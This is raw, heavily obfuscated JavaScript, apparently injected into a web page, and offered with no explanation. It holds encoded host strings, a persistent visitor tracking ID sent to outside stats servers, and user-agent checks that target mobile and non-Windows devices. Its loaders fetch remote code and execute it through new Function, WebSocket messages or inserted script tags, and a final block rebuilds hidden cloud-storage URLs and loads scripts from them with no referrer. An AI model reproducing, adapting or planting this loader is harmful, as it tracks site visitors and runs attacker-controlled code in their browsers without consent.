function kRTue(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LbDKuhQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kRTue(t);};window[''+'W'+'M'+'S'+'G'+'N'+'J'+'u'+'v'+'j'+'D'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LgsXP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LbDKuhQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LgsXP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LgsXP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLnZZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBBJTJGJTJGYS5iaGVhZS5jb20lM0E5NTM1','9489',window,document,['Z','B']);}:function(){};
function ofwZCSt(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VPXemrZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ofwZCSt(t);};window[''+'J'+'F'+'A'+'T'+'g'+'U'+'w'+'a'+'h'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function flte(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VPXemrZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=flte(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=flte(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmNzcHN4aaC5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS5kdGZhb2kuY24lM0E5NTM0','168322',window,document,['a','3']);}:function(){};
let urls=["hHHtHHtHHpHHsHH:HH/HH/HHvHH0HH4HH1HH2HHnHH4HHdHH7HH6HH.HHoHHsHHsHH-HHcHHnHH-HHhHHaHHnHHgHHzHHhHHoHHuHH.HHaHHlHHiHHyHHuHHnHHcHHsHH.HHcHHoHHmHH/HH1HH2HH/HH1HH1HH0HH5HHeHHcHH8HH5HH8HH2HH3HH7HH2".split("HH").join(""),"hGGtGGtGGpGGsGG:GG/GG/GGpGG.GGgGGoGGdGGmGGwGGiGGtGGhGG.GGcGGoGGmGG/GG1GG2GG/GG1GG1GG0GG5GGeGGcGG8GG5GG8GG2GG3GG7GG2".split("GG").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNmNNqNN1NN2NNnNN4NNdNN7NN6NN.NNoNNsNNsNN-NNcNNnNN-NNsNNhNNaNNnNNgNNhNNaNNiNN.NNaNNlNNiNNyNNuNNnNNcNNsNN.NNcNNoNNmNN/NN1NN2NN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNdNN8NN9NN-NN1NN3NN1NN3NN9NN4NN4NN0NN6NN2NN.NNcNNoNNsNN.NNaNNpNN-NNhNNoNNnNNgNNkNNoNNnNNgNN.NNmNNyNNqNNcNNlNNoNNuNNdNN.NNcNNoNNmNN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();